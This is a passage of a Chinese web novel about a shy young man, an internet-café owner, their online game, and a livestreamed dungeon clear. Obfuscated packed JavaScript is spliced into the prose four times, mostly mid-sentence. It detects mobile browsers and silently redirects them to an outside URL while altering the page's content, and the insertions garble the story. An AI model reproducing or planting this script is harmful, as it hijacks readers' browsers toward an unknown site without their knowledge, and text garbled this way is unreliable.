看着时和眼神放在屏幕上,宴云川反应过来,想必是为了这通视频在道歉。 “伯母担心很正常。”他把椅子挪正,站在椅子后面说,“阿朔第一次来网吧那天,我姑姑——就是他妈妈——给我打了两小时电话。要不是手机没电,她还能打两个小时。” 虽然那两个小时的电话并没有消除他姑姑的刻板印象,还愈发加重。相比起来濯清倒是开明很多,只是查户口,言语间听不出偏见。 好在沈停刚才跟他对了口供,查起户口还能顺着编个说辞,否则沈停昨晚说的谎就得露馅。不过,这样一来他真成了“人设”,也真得提防315了。 宴云川笑了笑。见时和帽檐微微抬起又落下,他问道:“第一次来网吧?” “不是。”初中去过。 看着不像。 “还适应吗?” “嗯。” 看着也不像。 灯光打下,桌面的人影稍稍往后挪。时和听见衣料摩擦墙壁的声音。声音很轻,只是包厢太安静了,除了主机声就是宴云川。 想到刚才宴云川对濯清说的那些,时和心里瞬间起了敬佩。他见过母亲刚接手酒店与各大合作方以及董事会周旋的模样,也见过父亲拒绝家里安排的路毅然决然投身艺术的艰辛。 一毕业就白手起家创业,无论选择了什么赛道都是需要很大勇气的。他羡慕这样的勇气。 两人一站一坐,心思各异。 默数到109下,宴云川开口了:“那枚纪——”刚开个口子,包厢门被咚咚敲响。门外的人敲得很有规律,两轻两重,跟对某种地下暗号似的。透过磨砂玻璃望去,隐约看见一个猥琐的身影以扭曲的姿势贴在玻璃门上。是林朔野。 两次提问都被打断,再二很难再三。 时和绷着背,听见墙边的人叹吁一气,吁声听出几分无奈和放弃,还隐隐有两分杀意。他直得仿佛得了脊柱炎,不明白宴云川这声叹气是为哪般,又担心外头的人忽然破门而入。 好在门外的人只是敲门,没有探脑袋。 宴云川直起身:“应该是找我的,我先出去。”听见时和轻轻“嗯”一声,他走到门口回头,“如果上线听见什么跟繁育有关的不好言论,不用理会。把ID记下来给我,晚点我来处理。嗯……晚点我们再繁育剩下两只宝宝。” 留下一句让人遐想翩翩的话,宴云川打开门。关门之际,林朔野的声音飘了一句半进来:“哥!你跟宝贝儿又背着我私会……没有怎么不让我进……” 时和鼠标一滑,差点点到呼叫网管。 包厢再次安静下来,缓了会劲儿,登上幻世录。距离妖灵宝宝繁育成功已经过去五个小时,帮派群和世界频道的瓜田已经更新好几轮。想象中群起愤慨的场景没有出现,倒是当前频道有个意外。 [寂沐梵:欧皇?竟然给我在这蹲到了!] [寂沐梵:求个好友位我吸欧气!] 吸引时和注意的不是“欧皇”的称呼,也不是围在自己身边疯狂放技能刷存在感的角色,而是这个昵称。“寂沐梵……”他喃喃点开资料,看着星引的职业图标,瞳孔仿佛无法聚焦。 真的是舍友。寂沐梵,纪帆。 幻世录十五个地图,长安古韵六百万玩家,每天擦肩而过的人不计其数,遇见一个熟人的概率都得排到小数点后七位。可偏偏还是遇见了。 ** “要回家了吗?”宴云川刚从双人包厢走出来,就看见时和包厢门半开,人站在门后要出不出。他点开手机看了眼时间,七点三十六。距离濯清视频提到的回家时间还有将近一小时。看来适应失败。 见时和点头,宴云川侧身:“我送你到路口。” 这个时间,网吧通宵的一批人已经被饿醒,赶着最后半天争分夺秒放松的学生也三两落座。喇叭里正播报着“请勿抽烟请勿拖鞋”的文明公告,可由于没有禁止“请勿说脏话”,所以能听见东南西北传来“卧槽”、“你妈%*>”的谩骂,根本不顾角落里少数几个还没睡醒的人的死活。 四面八方的人声混在一起听不出谁是谁,好像进了这个环境就会被同一种声线同化。 时和本想说“谢谢”拒绝,听见周围的声音,他紧了紧保温袋,点点头,拒绝的“谢谢”用诚恳且感激的语气说了出来。刚抬脚,沈停打开包厢。 看见时和和宴云川站在门外,沈停插兜走近:“就走了?这才几点?”他歪着身子看向大堂电子屏幕上的时间,“阿姨不是说给你玩到八点半吗?” “……” 与沈停上一次见面还是高中,年会那天。上一次见面的印象不太好,今天见面的印象也不太好。如果按照相处舒适度排名,沈停肯定垫底。时和不知道怎么回这个垫底的,怕垫底的会让他留下来。 垫底的嘟囔了一句:“还是这么冷。” 被宴云川听见。宴云川抬着眼皮淡淡说:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546536|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我要去趟物业那,八九点回不来。把他一个人留在网吧我不放心,就先送他回去。”月底了,要跟物业周旋是很正当的理由。反正沈停信了。 “学长,你怎么跟我——”沈停想说“怎么跟我阿姨一样”,余光看见时和,及时打住了吐槽,改说,“有我和林朔野在还不放心?” 宴云川扫了眼沈停的装扮。大裤衩,人字拖,一看就刚从被窝里强行打捞出来还没来得及整理的鸡窝头,还有充血的眼白。胚子是好胚子,糙也是真的糙。跟时和站一排做对比,脸上都写着“不法分子”。他调侃道:“有你们在更不放心。” “我这叫适应环境!”沈停扯着把裤兜一撑,满脸无所谓。听见宴云川兴味地“嗯”了声,又补一句,“学长,我可没指桑骂槐说你不适应环境啊。” “行了你。”宴云川笑笑。 时和一直在听两人交谈。他看着帽檐下笔直的水蓝牛仔裤和白得可以抛光的板鞋,觉得自己也有刻板印象了:宴云川柔和的不像老板,也干净的不像网民。更像是开了视角的“上帝”,一个旁观者。 沈停应该也这么觉得,才会补了最后那句。 两人交谈收了尾。沈停往洗手间看去:“那你们路上注意安全。”他看着时和,眼神依旧不自在,“那什么,到家给我发个消息呗,我好交差。” “……嗯。” “行。” 对话简短而又仓促的结束。沈停转身,时和正准备把手上一直留到现在的礼物递过去,看见半个背影又想缩回来。哪知转身的人突然回头:“对了——”说话间,包厢门口传来林朔野的声音:“你们都站这干嘛呢?”场面乱作一团。 包厢过道狭窄,林朔野的目光炽热又好奇。时和想打招呼,上下嘴皮蹭着口罩开开合合,可那声“你好”就像卡壳了怎么也说不出口。 果然,社交是最严重酷刑。 踌躇之际,他手上的礼品袋被沈停弯腰拿走。沈停看着心情颇好,勾着林朔野肩膀就往厕所带。幽暗的过道回荡着林朔野的抗议和疑惑,最后抗议无效,声音连着背影一块消失在洗手间转角。 这样真的没事吗…… 时和望着洗手间方向蹙眉,忽而听见身侧的声音:“别担心,沈停搞得定。”声音太近,沿着帽檐一路往下。他缩了缩肩膀,声音又问:“走吗?” 他点点头。 走到收银台,俞秋正在刷着短剧。短剧里响起剧烈的耳光声,俞秋跟着耳光“嘶”了一下,非常代入。宴云川交代着:“我出门一趟,有事打电话。” 俞秋抬头,看见收拾妥当的时和立马起身。 “就要走啦?” “嗯,临时有点事。” 她惋惜地喟叹着,又蹭蹭跑到货架上挑挑拣拣挑出一袋零食大礼包递给时和:“这几个我都尝过,很好吃的!尤其是这个蜂蜜黄油瓜子,尝尝!”见时和茫然抬头,她解释道,“网吧特产,回礼!只是时间仓促,我只能想到这个。好像是磕碜了点儿……” 话音刚落,时和伸出手。 “不磕碜,”他干干说着,“谢谢。” 身侧传来一声笑。 ** 31. Chapter·理由 临近八点,太阳已经上了两竿。从网吧走出去的那一瞬就像游戏通关一样白光乍现。时和微微眯起眼睛,刚想调整一下鸭舌帽,光线倏地被身侧投来的阴影截断。 “是走左边吗?”阴影问。他愣了一下,点着头。下一秒,手上的“零食大礼包”就被阴影接了过去。这次没有碰到手指,是拖着底接走的。 印有“星络网吧”的塑料袋悬在两人之间,加上俞秋精心扎的蝴蝶结,醒目效果100%。时和垂着眼,目光掠过勾在两指间的蝴蝶结和蝴蝶结下的一截手臂,默默把袋子提溜往上,说道:“不重。”接着很有骨气地走下阶梯。走到平地,一阵风的功夫,冲动的骨气立马被理智唤醒。 宴云川站在台阶上,饶有兴趣地看着时和走下去的背影突然顿下来,后背针织马甲的线条绷出两道褶子,脚步也乱了两拍。他把手插进兜里,摸着兜里打火机的纹路唇角轻扬。原来是有情绪的。 只是不知道这个情绪从何而来。因为他刚才在里面笑了一下?还是不喜欢别人帮忙? 正想着,路边响起小黄车急刹的声音。三个人一前一后下车,朝网吧方向冲。冲在前头的人骂骂咧咧:“草了!谁他妈发明的大学周日晚自习……你俩能走快点吗!都说昨晚来通宵非得约会!今天要是上不了两个段位晚上谁都别想回去!诶!一起死!”他边骂边回头催人,从时和旁边擦肩而过。 步子越过的刹那,时和帽檐猛地抬起。 三人冲上阶梯,匆匆跟宴云川打了声招呼又冲进网吧。网吧玻璃门合的慢,里面传来俞秋接客的招呼声。不知谁说了一句:“川老板在门外揽客?”俞秋探着头往外望,玻璃门正好合上。 宴云川走下阶梯:“认识?” “……” “认错了。” 时和语调缓慢,像是没回过神。 他继续说:“那人是榕江理工的,经常来。” 听见“榕江理工”,时和肩膀松懈下来。 还以为是纪帆…… 刚才那人无论是声音还是语气都太像了。纪帆也很喜欢说“草了”,走起路来也是最急的那个,经常冲在最前面,一脸不耐地催着其他人,跟刚才走过的那个人如出一辙。不过有一点不一样:纪帆不穿大红色的鞋子,嫌俗气。只是他害怕墨菲定律,所以这样的细枝末节他不敢确认,如屡薄冰。 “认错了。”时和又说了一遍。 “那还好。”宴云川说。 他侧目看过去。宴云川目光投向马路对面的药店淡淡解释:“还好榕城没我想象的那么小。” 榕城其实很小。时和在心里说着。榕城还不到苍城的二分之一,开车四十分钟就能横跨三个区,从小区走过来不到半个小时。因为太小了,两个在游戏产生羁绊的人才能在药店偶然相遇。 这些他都没说出来,只是很轻地“嗯”了一下。 两人继续往前走。路上行人陆续变多,早餐店门口开始排起长龙。有两个认识宴云川的看见两人就“弟弟啊”、“亲戚啊”的问。宴云川一一打着招呼,蓦地转头问了句:“以前来过这一片吗?” 时和还沉浸在周围都是人的紧张里,听见问题想也没想就点头。好在他反应过来,马上摇头。 “……第一次。”说完他一阵耳鸣。 濯清说的对,谎话只有“绝无”和“无尽”。人一旦说谎,就没有勇气承担谎言拆穿的代价,而且会习惯说谎,甚至爱上说谎。跟大学那会一样。 时和小臂绷得越来越紧,塑料袋被捏得咔咔作响。马路口离网吧不算远,走过早上的粉店,再往前走两百米就到了。两人都没说话。走到一家关着的猪脚饭前,他终于忍不住想坦白。 然后,宴云川指着猪脚饭门帘的招牌说:“那家猪脚饭挺不错的,下次可以试试。”语气如常。 谎言得到鼓励,就会变本加厉。他顺着往下应道:“嗯。”完全没意识“下次”这个词有什么不妥,也没注意到宴云川眼中那溢出的逗趣与探索之意。 走到路口,两人一前一右的离开。分别前只有一句“再见”,一句“路上注意安全”。 ** 等回到网吧,时和已经到家。两人又恢复成了网友的相处模式,通过微信报备着“我到家了”、“我有点事,等会回网吧”的行程。依旧一问一答,只是回复频率快了些,回复字数多了些,仅此而已。 宴云川正回着时和微信,推开网吧门就听见林朔野嗷了一嗓子:“哥!你怎么才回来!”林朔野一蹦越过收银台,跳上前一顿输出,“怎么样怎么样!宝贝儿路上有说什么吗?他喜欢网吧吗?我今天都没跟宝贝儿说上两句话!哥!你说说这合适吗!下次见面宝贝儿把我忘了怎么办!” “放心,忘谁都忘不了你。”宴云川头疼地推开人。走进收银台,又看见俞秋唇瓣轻启,那句“老板你回去睡会”的口型都要出来了。他先发制人,拿走电脑前的礼品袋说:“我拿个东西就走。” 昨晚通宵,总得回去休息一下。 俞秋满意了,开口就说:“老板再见!” “……”宴云川站在原地,感觉自己养了一网吧倒反天罡的祖宗。正想出门,林姓祖宗上前拦下他。 “哥,你的礼物是什么?” “纪——”宴云川本想说“纪念币”。想到两次打听都被林朔野打断,他推开玻璃门,头也不回地说道:“没拆,不知道。” “哥——!” 林朔野人傻了。 等回到家,宴云川在沙发上瘫了会,又拿过克莱因蓝的纸袋拆开,纸袋里装着一个做工精细的木盒。打开木盒,一枚浮雕纪念币安静躺在盒子里。不用上网搜,不用介绍,浮雕雕刻的图案他再清楚不过——北欧龙,耶梦加得。 两年前,老师给他推过一个项目,项目内容就是做北欧神话体系相关的游戏。那个项目他最后放弃了,曾经提议的用“耶梦加得”作为第一关的方案也被新加入的学弟否决。没想到,兜兜转转这只“耶梦加得”还是回来了。就像它的寓意一样。 耶梦加得,无限循环。 从游戏里收到那封“撞名”的邮件,到今天的见面,再到这枚纪念币。所有的一切都在重新开始。 可不是所有的重新开始都是好事。 宴云川隔着保护壳捻了捻纪念币中间的蓝铜矿石,目光不聚焦地望向左边的墙。墙上挂着一排游戏机,最中央两格空着。他点开□□,手指落在一个上了锁的相册上,还没按下去,相册全黑的封面中央倏地染出红点。红点开始向外蔓延,一路渗出手机,滴在沙发上。 还是这样,点不进这个相册。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546537|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他把手机放下,从桌上抽了张湿巾盖着眼睛,对这样的情况见怪不怪,处理流程都轻车熟路。湿巾的凉意刺激着迷走神经。过了片刻,他缓过劲来,拿起手机点开时和微信发了句:“谢谢。” ** 窗外树影婆娑,时和靠在飘窗上,白色耳机掉了一只,落在膝盖间。今早发生的一切如同一场失败的冒险。预先演练好的开场白没有用上,沈停的礼物差点没有送出去,计划的适应时间也被打断。难怪冒险结束,他获得了惩罚。 遇见纪帆,就是一场惩罚。 耳机放着新的歌,是一首摇滚。摇滚只适合心情很好的时候听。时和拿起手机,正想切歌,微信突然“叮”了一下。他点开微信,看见宴云川的消息错愕了一下,惶惑地发了个问号表情包。 宴云川秒回:[谢谢,耶梦加得。] 时和立马坐直了。 隔着网络聊天有个好处,每条消息都能斟字酌句。什么该发、什么不该发,什么发出去会引起什么反应,都能深思熟虑,在脑海里做出预示。 脑海里的那些“你怎么知道”、“你喜欢吗”、“为什么谢谢”的好奇统统被理智压下去。 时和发了一句:[不用谢。] 消息发出去过了一会,宴云川发来语音:“上午还上游戏吗?”语音里杂糅着长安主城的喧闹。 按照计划表,现在还有一小时游戏时间。可上游戏就意味着会遇见纪帆。毕竟已经加好友了。 看着屏幕上的二十六键,时和手指落在最下面一排犹豫半晌。宴云川又发来消息:[看你安排。] 他手指往上挪了一排,打着:[下午。] 宴云川:“那下午再繁育宝宝。” 宴云川:“一只一只的繁育试试,卡一下系统概率,这样成功率大一点。” 想到繁育好的妖灵宝宝还没来得及看,时和摘下耳机,莫名觉得对不起那两只妖灵。 还有二胎…… 时和抿了抿唇瓣,敲字道:[独生。] 宴云川发来的语音都带着笑:“嗯……一窝偶尔有两个二胎也养得起。” 时和:…… 宴云川肯定被妖怪附体了。 他碰了下发红的耳垂,删删减减,最后敲出一句:[独一无二。] 如果妖灵繁育二胎,就算不上“无二”了。 消息发出去,时和紧张地盯着屏幕,生怕宴云川再“口出狂言”。他在脑海里排练着宴云川可能会问的问题。排了不下十种,结果,宴云川没再问妖灵,而是问了句:“为什么送我纪念币。” 手机还放着歌,桌面歌词一句一句切换。 [你何以始终不说话] [尽管讲出不快吧] [事与翼盼有落差] [请不必惊怕] 不知歌曲放了多久,好像过了一半,又好像才刚刚开始。放到歌曲,歌词换成下一周,时和开始敲字:[因为这是我的。] 游戏机、耳机、或者送给沈停的无线手柄,这些都是濯清那些合作方送给他的,送礼的初衷只是为了讨好。可是纪念币是时熵和濯清从每个国家专程给他带回来的,是属于他的礼物。 对了,他想起来昨晚有什么事忘掉了:忘记准备一件特别的、能让宴云川一眼记住自己的东西。 32.Chapter·直播 榕城的六月在一道惊雷和无限懊恼中拉开它的序幕。窗外望去黑压压一片,不像下雨,像泼水。空中飘着几个氢气球,小马宝莉和小猪佩奇咧着嘴,笑得比关在房子里的小朋友灿烂得多。 喇叭传来两声:“我的我的,重开一把。” 屏幕里,一群陶瓷娃娃群魔乱舞。单身的“尸体”被一只红色的陶瓷娃娃压在身下,血腥点点。搭配背景里稚子的嬉笑声,还有那句“大人们的拳头软绵绵”的台词,说不上的诡异。 这是幻世录童趣节的副本BOSS。 幻世录的策划也是一个割韭菜大户,每逢节日——不管这节唐朝过不过——必大操大办。儿童节改了名变成“童趣节”,不光地图有变化,还上了新的时装和副本。总之得让玩家消费,给他过节。 有消费的地方就有散财博主林朔野。 队伍五人自断经脉,柚子正在给单身奶血。屏幕上方满满弹幕,什么“你们引驾行是不是不行了”、“散财区主播今天玩的省钱局”、“不行我去帮你们打”云云。这是林朔野的直播间。直播间主题——“过了抽一百套礼盒助兴”。 大概策划不想看到大学生“误入歧途”,直播已经两小时了,最后一个BOSS还没通关。 喇叭响起噼里啪啦的技能声,技能中央依稀能看见一个穿着红蓝黄配色的“白雪公主”林朔野。 林朔野的吐槽杂糅在技能中:“老单你行不行了?炫舞没玩过?劲舞团总是你那个年代的吧!不就是让你跟着音乐按空格键踩娃娃吗!平时见你听那么多歌,怎么做到节奏感这么差?!” 单身嚷嚷着:“嘿!谁规定的见过猪跑就得吃过猪肉?”语气有点心虚。 话落,柚子嬉笑一声:“要是有一头猪在我面前跑个百八十回,我怎么着都得打来吃吃。”戳穿了单身的自欺欺人。 直播间弹幕笑飞了天,有个铁粉发了一颗宇宙箭,直言让单身再灭多两回,等他吃完早饭。 林朔野回着弹幕:“可别啊!再灭两回我左右两边得把我杀了!”说话间隐约听见一道很轻的笑,还有沈停冷漠的:“你知道就好。” 消息列表随着笑声亮了起来。 自从加了纪帆,时和看见消息列表亮红点有些忐忑。他屏息点进去,看见宴云川的头像松了气。 [川云:过两天组个靠谱的队伍带你打。] 童趣节副本有难度,据说昨晚好几个首通队伍磨了一晚上没过。今早再上线时,新的招募的队伍都写上了“首通卡15W天赋”、“开荒耐心来”等字样。他的天赋值只有十万,所以没去首通队。 不过没关系,马上就能十五万了。 时和捏捏耳垂,回了个“嗯”。眼看屏幕里陶瓷娃娃再次发起攻击,随着血量下降到30%,诡异的童谣响起。他下意识跟着节奏按着空格,看起来比单身还要紧张。空格没按两下,单身又挂了。 …… 有点气笑。 这个BOSS的机制要求主T踩娃娃,其他人想帮忙都不行。林朔野开直播本想着刷个首通最短的成就装个逼,没想到装逼不成,还即将被钉上首通最慢队伍的耻辱证。他开始抓狂:“不行就让柚子上你账号打吧!你已经失去了爸爸的信任!” 单身很乐意做甩手掌柜。 “行啊,柚子上呗!” 下一秒,柚子马上拒绝:“我不会破军!” 她提议说:“让被窝来吧。” 沈停沉默了两秒:“我音盲。” 单身又说:“川儿,要不你来?”说着他又自顾自地否定了这个方案,“不得行不得行。你唱歌都要命了,也是个五音不全!” 林朔野:“……”一队伍凑不出一个能用的,这是他没有想到的。陶瓷娃娃血量再次刷新,副本第N次重来。他调整着技能碎碎念:“唉,如果宝贝儿会玩的破军就好了!他在包一次过的……” 突然被CUE,时和愣了一下。他点进直播只是想看看宴云川打本,顺便熟悉一下这个副本机制,没想到会被林朔野惦记上。 只是林朔野这样说,单身会不会不舒服…… 正想着,单身砸吧两下:“嘶……” 嘶声延绵且越来越重。时和手腕绷紧,纠结应该怎么处理当前局面,突然听见两手一拍的声音。拍手声让他思绪跳了一下。 接着单身兴奋地说:“试试!” 试……什么? 时和眼睛眨了眨,就听见单身说:“川老板!帮忙请一下你家小徒弟呗?” “……” 头一回见到自己被换了还开开心心甚至隐隐期待的,他有点懵。而且他也不会玩破军!再说了,把自己的账号借给一个陌生人,不怕盗号吗? 短短几秒,时和心理活动丰富得可以拍剧。 看直播的观众大部分是其他服务器的玩家,他们还不知道宴云川收了徒弟。弹幕飘过好几个“川老板徒弟很厉害吗”、“川老板什么时候收徒弟了”、“不是说川老板从不收徒吗”之类的言论。 有个铁粉非常有商业头脑,发着炫彩弹幕开始赚外快:“我这有川老板和小徒弟的爱恨情仇合集,十块钱打包带走!”一时间,大家的注意力从看主播吃瘪变成了吃瓜,好奇心直接拉满。 在一众好奇的弹幕中,宴云川轻声应了一下:“我问问他。”这下弹幕更疯狂了。 能让林朔野这么欣赏,又能得到单身和宴云川的肯定,那肯定是个相当了不得的大佬!弹幕刷着一溜烟的“期待徒弟”,占满了半个屏幕。 突然有个弹幕跳出来:“期待什么啊?那就是一个新人幽篁,打本全靠川老板带,屁都不会!” 时和看着宴云川的消息,正好错过这条弹幕。 [川云:来试试吗?主T的机制只有这一个。] [川云:拉怪很简单,我教你。] 想到林朔野正在直播,他手指放在键盘上犹豫不决。灭队了会被弹幕骂的吧……提出意见的林朔野和单身肯定也会受到牵连。何况他现在还顶着宴云川徒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15558245|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弟的名号,他失败等于丢宴云川的脸…… 可如果他赢了呢?如果赢了是不是能证明宴云川眼光不错,没有收错徒弟? 想到这个可能,时和在聊天框里打下一个“可以”。正思考要不要发出去,微信忽然弹出宴云川的语音邀请,吓得他蹭一下按了发送键。 语音铃声在房间里不断环绕。时和接通,宴云川的声音在手机和直播间里双重响起。 宴云川先是笑了一下:“我还在想要怎么完成单身交代的任务。”想来是看见了游戏里的信息。 时和切出直播间,看见弹幕清一色的问号。有人发出疑问:“卧槽,这是川老板的声音?当川老板徒弟听这么好的嘛?”他嘴角不自觉上扬。 倏地,喇叭里传来座椅拉动和鼠标声。林朔野问了句:“去哪!”宴云川回:“换个包。” 走出包厢,宴云川的声音变得清明。“好了,现在不用担心通话被直播了。”喇叭又传来主机嗡嗡声。他又说:“我换个电脑上微信。” 弹幕还在发着“有什么是自己人不能听的”、“川老板见外了”、“没有川老板!退钱!”等等调侃。林朔野应付得驾轻就熟,想来已经习惯。 没了直播间,时和神经放松很多。他“嗯”了一声,稍稍往后靠,抬头看了眼窗外的云。 总觉得线下见面后他和宴云川更熟络了些。这通语音打得很自然,他接的也很自然。好像真成了朋友。 窗外的云浸着雨,依旧是乌压压一片。乌云中央隐约透出两抹白,却转瞬被灰霭吞没。 正看着云,宴云川切好了微信。“单身应该给账号了,”他说,“直接登录,他那边验证。” 时和点出单身聊天框,除了账号密码,还看见一句“感恩戴德”:[见儿啊,哥得谢你啊!哥打的都要吐了!啥都别说了,以后你也是我的再生父母了,有我一口肉吃保准有你两碗牛肉面!] “……” 分不清单身和林朔野谁带歪了谁。 被信任和被期待是一件很庄重的事。时和深呼吸,登上账号。一上线,就听见林朔野嚷嚷:“宝贝儿!!!我终于等到你了!!”喊得撕心裂肺。 喇叭震得太厉害,震到了键盘。时和看着屏幕里的陶瓷娃娃开始胡乱攻击,整个人都不好了。 直播间不少人看了那条“新人幽篁”的弹幕一直在等着时和翻车,只是没想到翻车来的这么快。一些人直接开始嘲笑,剩下那些对“川老板徒弟”有标签滤镜的人也开始怀疑唏嘘。 “川老板收徒没要求的嘛?” “这人男的女的?妹子吗?妹子我能原谅。” “妹子是什么保护动物吗?” “今天还能不能抽奖了?还不如让柚子来!” … 类似弹幕层出不穷。 那个发“新人幽篁”的人趁机蹦出来:“我就说让他上线纯属搞,只是为了直播效果而已。” 刚蹦跶,就见时和一套连招,接过了BOSS仇恨。 33.Chapter·剪辑 幻世录BOSS的仇恨设计很奇葩。其他游戏只要主T放了技能,BOSS仇恨就会自动锁定主T。幻世录的策划大概觉得这样的机制太简单了,不符合本游戏“高端”的逼格。他脚脖子一拍,想出让幽篁和主T互抢仇恨的机制:如果主T不能找准站位并且持续输出,BOSS的仇恨就会被幽篁抢走。哪怕幽篁一动不动。故,这样的机制下,破军必须是熟手。 发弹幕那人借此嘴硬:“一次偶然而已。”其他人也觉得是偶然。毕竟刚开局,只要一直按技能都能拿到仇恨。难的是拿到仇恨后怎么稳下来。 两滴汗珠顺着额角滴到鼠标垫上。“Q是三段普攻,按R可以横扫,T锁定目标突刺,Y是霸体……Q接T加R可以有一套小连招,再接U和shift可以打爆发。锁定BOSS往点位一拉,然后——”桌面手机外放着宴云川的声音。说到“然后”,时和拉着怪突进到了点位六。他不会破军,可宴云川全职精通。 手机响起意外而又意料之中的笑。 宴云川问:“看过攻略?” “……”没看过,但是看了很多很多遍直播。 时和说着:“直播。” 宴云川顿了一下:“一直在看?” “刚看。”半个小时而已。 电话那头的人意味不明地“嗯”了声,拖着一截长音。这声音实在扰乱军心,让人莫名口干舌燥。趁着进阶段动画的功夫,时和端起水杯猛灌两口。水刚润喉,就听见宴云川问:“新时装买了吗?” “没买。”太丑了。 他不能接受“白雪公主”配色的印度灯笼裤。 好像猜到了他的想法,宴云川没再问他要不要买,而是说:“时装送的动作还不错。” 喇叭响起乒乒乓乓的音效。时和还以为进阶段了,赶紧放下水杯坐直。屏幕里陶瓷娃娃还在各种隐匿的地方忽闪忽闪捉迷藏,屏幕中央,一颗巨大的糖果从天上砸下来。他下意识按了格挡。那颗糖果无视技能,直愣愣砸他身上把他变成了玩具熊。 然后,宴云川走上前对着熊肚子撩了撩。那只熊也不知道脸红个什么泡泡茶壶,突然对着宴云川扑过去。触碰到宴云川肩膀的瞬间,玩具熊缩小成了mini版,坐在宴云川肩头上。 喇叭“噗”的一声。不过半秒,林朔野跟见了鬼似的喊:“我——擦!你俩背着我们在做什么呢!” 柚子也有些愣:“大佬,你还玩动作?” 在她的刻板印象里,宴云川就是一朵不问世事的天山雪莲,活动范围仅限于帮派、副本、PK场,活动内容仅限于帮战指挥、副本输出、PK杀人。 她记得有一回单身对宴云川试了个什么动作,宴云川说什么……幼稚!对!就是幼稚!她就想问了,难道这个玩具熊不会更幼稚? 对于两人的一惊一乍,宴云川倒是很淡定。 “进阶段了。” 时和看上去也很淡定。 场地中央涌出七个声阶娃娃围成圈,头顶依次写着“宫、商、角、变徵、徵、羽、变宫”。稚子唱着童谣,圆圈中央亮起声阶顺序谱——不能怪单身灭队,这个曲谱没有任何倒计时提示,也没有CD刷新,全凭节奏感——他淡定的踩着。 商、变徵、宫、羽…… 书房秒针滴答滴答响着,又或者是键盘声,时和分不清。他咬着下唇,心说:“这首童谣是谁唱的也太难听了那个动作哪里不错了明明怪怪的策划肯定是加班加傻了时装他绝对绝对绝对绝对不会买的。”每一句都不带停顿。 难听的童谣放了三分钟,他在心里念了三分钟。因为直播带来的紧张感已经被糖果玩具熊冲淡,甚至忽略。 三分钟里,队伍麦没有一点声音,弹幕只有寥寥两行叫衰。剩下的人安静得仿佛掉线。等到所有陶瓷娃娃旋转融为一体,队伍麦依旧缄默。直到麦里传来一句:“等会让单身结一下工费。”林朔野才爆发出惊雷的“我草”! 一句“工费”一句“我草”,就像按下多米诺骨牌最重要的一片——到目前为止,这个阶段只有不到十个主播能一次过,其中三个还是知名音乐学院的学生——顷刻之间,弹幕被“666”占满。 喇叭响起两声“牛逼”、“还得是见爹”。 “终于他妈的过了!”沈停把键盘敲得震天响,像是灌了一箱红牛咖啡混合液,“看不出来啊!你这么溜!” 抢板凳那天,沈停正忙着跟周公约会,还不知道发生了什么。这会也没人想跟他科普,一个两个声音都带飘,好像过的不是节日副本,而是无限流世界的终章关卡。 场地东南角竖起一架箜篌,柚子弹着弦回满了大家的血。她乐呵呵地夸:“还得是大佬!发挥一如既往!”夸完又损单身,“麻烦某单姓副帮来看看什么叫技术,学学什么叫靠谱!” “哦,差点忘了!咱副帮没号了!” “副帮!副帮在看直播吗?” 见柚子起了个节奏,林朔野看热闹不嫌事大的跟着说:“副帮你不会没脸看了吧?” “副帮,你还在吗?” 队伍麦充斥着柚子和林朔野交替的打趣声。 不一会,弹幕发出宇宙箭送礼提醒。宇宙箭在屏幕上方炸开,炸出一字决:滚。林朔野蹬鼻子上脸地说:“感谢副帮——我还是不感谢了。老单!这个宇宙箭全当队伍精神损失费了啊!要不再发一个呗!”刚说完,屏幕炸开一个“蛋”。“滚”字还没离开,跟“蛋”凑在了一块。 就……结束了吗? 时和按下最后一个技能。陶瓷娃娃身摇摇欲坠,瓷壁产生裂缝,五个小孩从娃娃此起彼伏地蹦跳出来。带头的高一些,跺跺脚嘟囔着:“都怪小瓷走路叮当响!被发现了!”又往空中撒糖豆。 糖豆在半空炸开变成烟花,烟花拼成五个字:童趣节快乐!弹幕跟着刷了一排“童趣节快乐”。 林朔野欠劲儿上来了,张口问沈停要新时装,美其名曰过儿童节。沈停“嘁”一声打趣: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 